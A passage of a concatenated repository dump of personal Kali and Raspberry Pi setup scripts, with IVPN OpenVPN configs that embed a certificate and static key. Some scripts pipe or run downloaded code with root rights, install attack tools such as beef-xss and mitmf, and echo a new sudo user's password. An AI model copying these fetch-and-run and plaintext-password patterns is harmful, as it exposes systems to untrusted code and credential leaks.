165D673674A995B3E64BF0CF4F191A5A8844C542 | sudo apt-key add - 5 | 6 | #sudo apt-key adv --keyserver keyserver.ubuntu,com --recv F0B5D826 7 | #gpg -a --export 4FF2E40CEC39A57852C12BAF77589CABF0B5D826 | sudo apt-key add - 8 | 9 | #sudo apt-key adv --keyserver keyserver.ubuntu.com --recv E06E6293 10 | #gpg -a --export DED04C8CBB517AE45B073F12A5D712AEE06E6293 | sudo apt-key add - 11 | 12 | #sudo apt-key adv --keyserver keyserver.ubuntu.com --recv F59EAE4D 13 | #gpg -a --export 4FA44A478284A18C1BA4A9CAD530E028F59EAE4D | sudo apt-key add - 14 | 15 | #sudo apt-key adv --keyserver keyserver.ubuntu.com --recv F0B5D826 16 | #gpg -a --export 4FF2E40CEC39A57852C12BAF77589CABF0B5D826 | sudo apt-key add - 17 | -------------------------------------------------------------------------------- /configuration-scripts/install-apt-fast: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "Installing aria2 and git.."; 3 | echo "" 4 | 5 | sudo apt-get install -y aria2 git 6 | 7 | echo "Installing apt-fast.."; 8 | echo "" 9 | 10 | if ! [[ -f /usr/bin/apt-fast ]]; then 11 | git clone https://github.com/ilikenwf/apt-fast /tmp/apt-fast 12 | sudo cp /tmp/apt-fast/apt-fast /usr/bin 13 | sudo chmod +x /usr/bin/apt-fast 14 | sudo cp /tmp/apt-fast/apt-fast.conf /etc 15 | fi 16 | echo "Done." 17 | 18 | -------------------------------------------------------------------------------- /configuration-scripts/install-mt7610: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "cd into $HOME/Downloads folder.."; 4 | echo "" 5 | cd ~/Downloads 6 | 7 | echo "Fteching script.."; 8 | echo "" 9 | sleep 1 10 | sudo wget http://www.fars-robotics.net/install-wifi -O /usr/bin/install-wifi 11 | echo "" 12 | 13 | echo "Copying the executable file, install-wifi to /usr/bin.."; 14 | echo "" 15 | sleep 1 16 | sudo chmod +x /usr/bin/install-wifi 17 | echo "" 18 | 19 | echo "Displaying the help menu.."; 20 | echo "" 21 | sleep 1 22 | sudo install-wifi -h 23 | echo "" 24 | 25 | echo "Modifying script to fit your system.."; 26 | echo "" 27 | sleep 1 28 | 29 | sudo wget https://raw.githubusercontent.com/notro/rpi-source/master/rpi-source -O /usr/bin/rpi-source && sudo chmod +x /usr/bin/rpi-source && /usr/bin/rpi-source -q --tag-update 30 | 31 | echo "" 32 | echo "Installing bc.."; 33 | echo "" 34 | sleep 1 35 | sudo apt-get install bc -y 36 | 37 | echo "Sourcing rpi-source --skip-gcc.."; 38 | echo "" 39 | sleep 1 40 | rpi-source --skip-gcc 41 | 42 | echo "Upgrading.."; 43 | echo "" 44 | sleep 1 45 | sudo apt-get upgrade 46 | 47 | 48 | 49 | echo "" 50 | echo "Entering /lib/modules/4.9.25+/build.." 51 | echo "" 52 | cd /lib/modules/$(uname -r)/build 53 | echo "" 54 | 55 | echo "Making module.." 56 | echo "" 57 | make 58 | 59 | -------------------------------------------------------------------------------- /configuration-scripts/lcd-essentials: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | sudo apt-get install aptitude curl cmake build-essential mailutils python-dev python-pip libusb-1.0-0-dev python-numpy htop ftp locate screen kismet pure-ftpd tightvncserver mysql-server darkstat ntopng mana-toolkit beef-xss resolvconf mitmf dns2proxy dnsmasq hostapd 3 | -------------------------------------------------------------------------------- /configuration-scripts/set-hostname-new: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | sudo -- bash -c 'echo "Please enter new Hostname"; old=$(hostname);read host; \ 3 | sed -i.$(date "+%H%M%S%d%m%y") -e "s:$old:$host:g" /etc/hostname; \ 4 | sed -i.$(date "+%H%M%S%d%m%y") -e "s:$old:$host:g" /etc/hosts; \ 5 | hostnamectl set-hostname $host; echo "Old Name:$old and New Name is:$host"' 6 | -------------------------------------------------------------------------------- /configuration-scripts/setup-lcd-3.5: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | mount /dev/mmcblk0p1 /boot 3 | cd /usr/local/src 4 | wget -O re4son-kernel_current.tar.xz https://whitedome.com.au/re4son/downloads/11299/ 5 | tar -xJf re4son-kernel_current.tar.xz 6 | cd re4son-kernel_4* 7 | ./install.sh 8 | -------------------------------------------------------------------------------- /configuration-scripts/setup-metasploit-dev-env: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | sudo service postgresql start 3 | sudo apt-get install exiftool 4 | sudo gem update 5 | sudo gem install bundler 6 | cd /opt/metasploit-framework 7 | login 8 | bundle install 9 | service metasploit start 10 | msf > db_status 11 | 12 | -------------------------------------------------------------------------------- /configuration-scripts/whonix-url: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | URL='https://scottlinux.com/2015/09/01/use-kali-linux-through-tor-with-whonix-gateway/' 3 | [[ -x $BROWSER ]] && exec "$BROWSER" "$URL" 4 | path=$(which xdg-open || which gnome-open) && exec "$path" "$URL" 5 | echo "Can't find browser" 6 | -------------------------------------------------------------------------------- /exploits/iplocator-setup: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Installing dependancies.." 4 | echo "" 5 | cpan 6 | -------------------------------------------------------------------------------- /git-helper-scripts/test-github: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | clear 3 | #Colors 4 | 5 | dgrey="\033[0;34m" 6 | port="\033[0;33m" 7 | RED="\033[1;31m" 8 | GREEN="\033[2;32m" 9 | YELLOW="\033[1;33m" 10 | BLUE="\033[1;34m" 11 | RED="\033[0;31m" 12 | ENDCOLOR="\033[0m" 13 | BROWSER=firefox 14 | alias xclip='xclip -selection -c' 15 | githubusername=solidOptionOS 16 | echo -e $BLUE"#################################################################"$ENDCOLOR; 17 | echo -e $YELLOW" ____ ___ __ ____ __ _ ____ ____"$ENDCOLOR; 18 | echo -e $YELLOW" / __/__ / (_)__/ / / __ \___ / /_(_)__ ___ / __ \/ __/"$ENDCOLOR; 19 | echo -e $YELLOW" _\ \/ _ \/ / / _ / / /_/ / _ \/ __/ / _ \/ _ \ / /_/ /\ \ "$ENDCOLOR; 20 | echo -e $YELLOW"/___/\___/_/_/\_,_/ \____/ .__/\__/_/\___/_//_/ \____/___/ "$ENDCOLOR; 21 | echo -e $YELLOW" /_/ "$ENDCOLOR; 22 | echo -e $BLUE"#################################################################"$ENDCOLOR; 23 | echo "" 24 | echo -e $BLUE"Okay, let's test the connection. "$ENDCOLOR; 25 | sleep 1 26 | echo "" 27 | ssh -vT $githubusername@github.com 28 | sleep 1 29 | 30 | echo -e $BLUE"If you have authenticated, and the username in the message is yours, then you have successfully set up your SSH Key!;"$ENDCOLOR; 31 | echo -e $YELLOW"If you had any problems with your setup, we can try another route. "$ENDCOLOR; 32 | echo -e $YELLOW"Did you have a problem? { y/n }"$ENDCOLOR; 33 | read problemorsuccess 34 | 35 | if [[ $problemorsuccess = y || $problemorsuccess = Y ]] ; then 36 | 37 | echo -e $BLUE"That's ok. Let's try a different method. Login to Github and create a personal access token via -> Profile -> Settings -> Personal Access tokens"$ENDCOLOR; 38 | sleep 1 39 | echo -e $YELLOW"Enter the token here: "$ENDCOLOR; 40 | read privategithubtoken 41 | echo -e $BLUE"Ok, got it. Let's import that token."$ENDCOLOR; 42 | sleep 1 43 | curl -u $githubusername:$privategithubtoken https://api.github.com/user 44 | sleep 1 45 | echo -e $YELLOW"SUCCESS! You are now setup and ready to start using git!"$ENDCOLOR; 46 | exit 47 | else 48 | 49 | sleep 0.5 50 | echo -e $YELLOW"SUCCESS! You are now setup and ready to start using git!"$ENDCOLOiR; 51 | sleep 1 52 | exit 53 | fi 54 | 55 | -------------------------------------------------------------------------------- /in-progress/create-newuser-INCOMPLETE.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | clear: 3 | # color vars 4 | dgrey="\033[0;34m" 5 | port="\033[0;33m" 6 | RED="\033[1;31m" 7 | GREEN="\033[2;32m" 8 | YELLOW="\033[1;33m" 9 | BLUE="\033[1;34m" 10 | RED="\033[0;31m" 11 | ENDCOLOR="\033[0m" 12 | 13 | echo -e $RED"#################################################################"$ENDCOLOR; 14 | echo -e $YELLOW" ____ ___ __ ____ __ _ ____ ____"$ENDCOLOR; 15 | echo -e $YELLOW" / __/__ / (_)__/ / / __ \___ / /_(_)__ ___ / __ \/ __/"$ENDCOLOR; 16 | echo -e $YELLOW" _\ \/ _ \/ / / _ / / /_/ / _ \/ __/ / _ \/ _ \ / /_/ /\ \ "$ENDCOLOR; 17 | echo -e $YELLOW"/___/\___/_/_/\_,_/ \____/ .__/\__/_/\___/_//_/ \____/___/ "$ENDCOLOR; 18 | echo -e $YELLOW" /_/ "$ENDCOLOR; 19 | echo -e $RED"#################################################################"$ENDCOLOR; 20 | echo -e $YELLOW"Create a New Standard User"$ENDCOLOR; 21 | 22 | if [ $USER != root ]; then 23 | echo -e $RED"Sorry, you must run this from as root."$ENDCOLOR 24 | echo -e $YELLOW"Exiting..."$ENDCOLOR 25 | exit 0 26 | fi 27 | echo -e $YELLOW"Enter new username: "$ENDCOLOR 28 | read NEWUSER 29 | useradd -U $NEWUSER 30 | sleep 1 31 | echo -e $YELLOW"Enter password for $NEWUSER: "$ENDCOLOR 32 | read PASS 33 | usermod -p $PASS $NEWUSER 34 | passwd $NEWUSER & 35 | echo $PASS & 36 | echo $PASS 37 | echo -e $BLUE"Password updated. "$ENDCOLOR 38 | 39 | sleep 1 40 | echo -e $BLUE"Adding user $NEWUSER to netdev, sudo, and adm groups"$ENDCOLOR 41 | sleep 1 42 | usermod -aG netdev $NEWUSER 43 | usermod -aG sudo $NEWUSER 44 | usermod -aG adm $NEWUSER 45 | sleep 1 46 | echo -e $BLUE"Changing user $NEWUSER default shell to /bin/bash"$ENDCOLOR 47 | chsh -s /bin/bash $NEWUSER 48 | sleep 1 49 | echo "" 50 | echo -e $RED"#########################################################"$ENDCOLOR 51 | echo -e $BLUE"# Complete. User $NEWUSER created with password $PASS. #"$ENDCOLOR 52 | echo -e $RED"#########################################################"$ENDCOLOR 53 | echo "" 54 | echo -e $GREEN"Have A Solid Day"$ENDCOLOR 55 | echo "" 56 | exit 57 | -------------------------------------------------------------------------------- /in-progress/enable-autologin-INCOMPLETE.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "Enable Autologin User." 3 | sleep 3 4 | echo "Enter autologin user: " 5 | read AUTOLOGINUSER 6 | echo "Sorry - under construction" 7 | 8 | 9 | -------------------------------------------------------------------------------- /in-progress/raspberry-pi/forceWifi: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | sudo /sbin/wpa_supplicant -P /var/run/wpa_supplicant.wlan0.pid -i wlan0 \ 3 | -D nl80211,wext -c /etc/wpa_supplicant/wpa_supplicant.conf 4 | -------------------------------------------------------------------------------- /in-progress/raspberry-pi/led_show.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # LED show 3 | 4 | from time import sleep 5 | import pifacedigitalio as pfio 6 | 7 | pfio.init() 8 | leds = [0, 1, 2, 3, 4, 5, 6, 7] 9 | ledsR = [6, 5, 4, 3, 2, 1] 10 | sleepTime = 0.2 # the time in seconds 11 | rounds = 3 12 | 13 | def catepillarWalk(times, interval): 14 | i = 0 15 | # repeat times times ... 16 | while i < times: 17 | # turn on LED 0 to 7 one at a time with interval intervals ... 18 | for led in leds: 19 | pfio.digital_write(led, 1) 20 | sleep(interval) 21 | 22 | # turn off LED 0 to 7 one at a time with interval intervals ... 23 | for led in leds: 24 | pfio.digital_write(led, 0) 25 | sleep(interval) 26 | 27 | i += 1 28 | 29 | def pingpong(times, interval): 30 | i = 0 31 | # repeat times times ... 32 | while i < times: 33 | # flash LED 0 to 7 for interval intervals ... 34 | for led in leds: 35 | pfio.digital_write(led, 1) 36 | sleep(interval) 37 | pfio.digital_write(led, 0) 38 | 39 | # ... then flash LED 6 to 1 for interval intervals ... 40 | for led in ledsR: 41 | pfio.digital_write(led, 1) 42 | sleep(interval) 43 | pfio.digital_write(led, 0) 44 | 45 | i += 1 46 | 47 | # ... and flash LED 0 for an interval interval 48 | pfio.digital_write(0, 1) 49 | sleep(interval) 50 | pfio.digital_write(0, 0) 51 | 52 | def evenOddAlternate(times, interval): 53 | i = 0 54 | # repeat times times ... 55 | while i < times: 56 | # flash the even numbered LEDs for an interval interval ... 57 | for led in leds: 58 | if not (led % 2): 59 | pfio.digital_write(led, 1) 60 | sleep(interval) 61 | for led in leds: 62 | if not (led % 2): 63 | pfio.digital_write(led, 0) 64 | # ... then flash the odd numbered LEDs for an interval interval 65 | for led in leds: 66 | if led % 2: 67 | pfio.digital_write(led, 1) 68 | sleep(interval) 69 | for led in leds: 70 | if led % 2: 71 | pfio.digital_write(led, 0) 72 | i += 1 73 | 74 | catepillarWalk(rounds, sleepTime) 75 | pingpong(rounds, sleepTime) 76 | evenOddAlternate(rounds, sleepTime) 77 | 78 | print("Meny:") 79 | print("=====") 80 | print("Button 0: Catepillar walk LED show.") 81 | print("Button 1: Pingpong LED show.") 82 | print("Button 2: Even-Odd alternating LED show.") 83 | print("Button 3: Exit the program.") 84 | print() 85 | print("Please press one of the buttons to continue.") 86 | 87 | while True: 88 | if pfio.digital_read(0): 89 | catepillarWalk(1, sleepTime) 90 | elif pfio.digital_read(1): 91 | pingpong(1, sleepTime) 92 | elif pfio.digital_read(2): 93 | evenOddAlternate(1, sleepTime) 94 | elif pfio.digital_read(3): 95 | break 96 | 97 | -------------------------------------------------------------------------------- /in-progress/raspberry-pi/setup-pifacedigital: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | sudo apt-get update 4 | 5 | cd ~/ 6 | 7 | echo -e "Downloading install.txt" 8 | sleep 1 9 | echo "" 10 | 11 | wget http://pi.cs.man.ac.uk/download/install.txt | bash 12 | echo "" 13 | 14 | echo -e "Installing necessary pre-requesites.." 15 | sleep 1 16 | 17 | sudo apt-get install python3-pifacedigitalio python-pifacedigitalio 18 | 19 | sudo apt-get install python3-pifacedigital-emulator 20 | 21 | sudo apt-get install python3-pifacedigital-scratch-handler 22 | 23 | echo -e "Do you want to reboot now? (y/n) " 24 | read REBOOTNOW 25 | 26 | if [[ $REBOOTNOW = 'y' || $REBOOTNOW = 'Y' ]] ; then 27 | sudo reboot 28 | 29 | else 30 | 31 | echo -e "Okay. Maybe later" 32 | fi 33 | 34 | -------------------------------------------------------------------------------- /ivpn-setup/ivpn-openvpn-config/Canada.ovpn: -------------------------------------------------------------------------------- 1 | client 2 | dev tun 3 | proto udp 4 | remote ca.gw.ivpn.net 2049 5 | auth-user-pass 6 | 7 | resolv-retry infinite 8 | nobind 9 | persist-tun 10 | persist-key 11 | persist-remote-ip 12 | 13 | cipher AES-256-CBC 14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA 15 | ns-cert-type server 16 | verify-x509-name ca name-prefix 17 | key-direction 1 18 | comp-lzo 19 | verb 3 20 | 21 | ;ca ca.crt 22 | 23 | -----BEGIN CERTIFICATE----- 24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV 25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT 26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ 27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa 28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx 29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG 30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP 31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu 32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH 33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv 34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc 35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz 36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU 37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo 38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG 39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l 40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm 41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c 42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi 43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c 44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK 45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA 46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va 47 | 15U= 48 | -----END CERTIFICATE----- 49 | 50 | 51 | -----BEGIN OpenVPN Static key V1----- 52 | ac470c93ff9f5602a8aab37dee84a528 53 | 14d10f20490ad23c47d5d82120c1bf85 54 | 9e93d0696b455d4a1b8d55d40c2685c4 55 | 1ca1d0aef29a3efd27274c4ef09020a3 56 | 978fe45784b335da6df2d12db97bbb83 57 | 8416515f2a96f04715fd28949c6fe296 58 | a925cfada3f8b8928ed7fc963c156327 59 | 2f5cf46e5e1d9c845d7703ca881497b7 60 | e6564a9d1dea9358adffd435295479f4 61 | 7d5298fabf5359613ff5992cb57ff081 62 | a04dfb81a26513a6b44a9b5490ad265f 63 | 8a02384832a59cc3e075ad545461060b 64 | 7bcab49bac815163cb80983dd51d5b1f 65 | d76170ffd904d8291071e96efc3fb777 66 | 856c717b148d08a510f5687b8a8285dc 67 | ffe737b98916dd15ef6235dee4266d3b 68 | -----END OpenVPN Static key V1----- 69 | 70 | 71 | -------------------------------------------------------------------------------- /ivpn-setup/ivpn-openvpn-config/France.ovpn: -------------------------------------------------------------------------------- 1 | client 2 | dev tun 3 | proto udp 4 | remote fr.gw.ivpn.net 2049 5 | auth-user-pass 6 | 7 | resolv-retry infinite 8 | nobind 9 | persist-tun 10 | persist-key 11 | persist-remote-ip 12 | 13 | cipher AES-256-CBC 14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA 15 | ns-cert-type server 16 | verify-x509-name fr name-prefix 17 | key-direction 1 18 | comp-lzo 19 | verb 3 20 | 21 | ;ca ca.crt 22 | 23 | -----BEGIN CERTIFICATE----- 24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV 25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT 26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ 27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa 28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx 29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG 30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP 31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu 32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH 33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv 34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc 35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz 36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU 37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo 38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG 39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l 40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm 41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c 42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi 43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c 44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK 45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA 46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va 47 | 15U= 48 | -----END CERTIFICATE----- 49 | 50 | 51 | -----BEGIN OpenVPN Static key V1----- 52 | ac470c93ff9f5602a8aab37dee84a528 53 | 14d10f20490ad23c47d5d82120c1bf85 54 | 9e93d0696b455d4a1b8d55d40c2685c4 55 | 1ca1d0aef29a3efd27274c4ef09020a3 56 | 978fe45784b335da6df2d12db97bbb83 57 | 8416515f2a96f04715fd28949c6fe296 58 | a925cfada3f8b8928ed7fc963c156327 59 | 2f5cf46e5e1d9c845d7703ca881497b7 60 | e6564a9d1dea9358adffd435295479f4 61 | 7d5298fabf5359613ff5992cb57ff081 62 | a04dfb81a26513a6b44a9b5490ad265f 63 | 8a02384832a59cc3e075ad545461060b 64 | 7bcab49bac815163cb80983dd51d5b1f 65 | d76170ffd904d8291071e96efc3fb777 66 | 856c717b148d08a510f5687b8a8285dc 67 | ffe737b98916dd15ef6235dee4266d3b 68 | -----END OpenVPN Static key V1----- 69 | 70 | 71 | -------------------------------------------------------------------------------- /ivpn-setup/ivpn-openvpn-config/Germany.ovpn: -------------------------------------------------------------------------------- 1 | client 2 | dev tun 3 | proto udp 4 | remote de.gw.ivpn.net 2049 5 | auth-user-pass 6 | 7 | resolv-retry infinite 8 | nobind 9 | persist-tun 10 | persist-key 11 | persist-remote-ip 12 | 13 | cipher AES-256-CBC 14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA 15 | ns-cert-type server 16 | verify-x509-name de name-prefix 17 | key-direction 1 18 | comp-lzo 19 | verb 3 20 | 21 | ;ca ca.crt 22 | 23 | -----BEGIN CERTIFICATE----- 24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV 25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT 26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ 27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa 28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx 29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG 30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP 31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu 32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH 33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv 34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc 35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz 36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU 37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo 38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG 39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l 40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm 41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c 42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi 43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c 44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK 45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA 46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va 47 | 15U= 48 | -----END CERTIFICATE----- 49 | 50 | 51 | -----BEGIN OpenVPN Static key V1----- 52 | ac470c93ff9f5602a8aab37dee84a528 53 | 14d10f20490ad23c47d5d82120c1bf85 54 | 9e93d0696b455d4a1b8d55d40c2685c4 55 | 1ca1d0aef29a3efd27274c4ef09020a3 56 | 978fe45784b335da6df2d12db97bbb83 57 | 8416515f2a96f04715fd28949c6fe296 58 | a925cfada3f8b8928ed7fc963c156327 59 | 2f5cf46e5e1d9c845d7703ca881497b7 60 | e6564a9d1dea9358adffd435295479f4 61 | 7d5298fabf5359613ff5992cb57ff081 62 | a04dfb81a26513a6b44a9b5490ad265f 63 | 8a02384832a59cc3e075ad545461060b 64 | 7bcab49bac815163cb80983dd51d5b1f 65 | d76170ffd904d8291071e96efc3fb777 66 | 856c717b148d08a510f5687b8a8285dc 67 | ffe737b98916dd15ef6235dee4266d3b 68 | -----END OpenVPN Static key V1----- 69 | 70 | 71 | -------------------------------------------------------------------------------- /ivpn-setup/ivpn-openvpn-config/Hong Kong.ovpn: -------------------------------------------------------------------------------- 1 | client 2 | dev tun 3 | proto udp 4 | remote hk.gw.ivpn.net 2049 5 | auth-user-pass 6 | 7 | resolv-retry infinite 8 | nobind 9 | persist-tun 10 | persist-key 11 | persist-remote-ip 12 | 13 | cipher AES-256-CBC 14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA 15 | ns-cert-type server 16 | verify-x509-name hk name-prefix 17 | key-direction 1 18 | comp-lzo 19 | verb 3 20 | 21 | ;ca ca.crt 22 | 23 | -----BEGIN CERTIFICATE----- 24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV 25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT 26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ 27 | 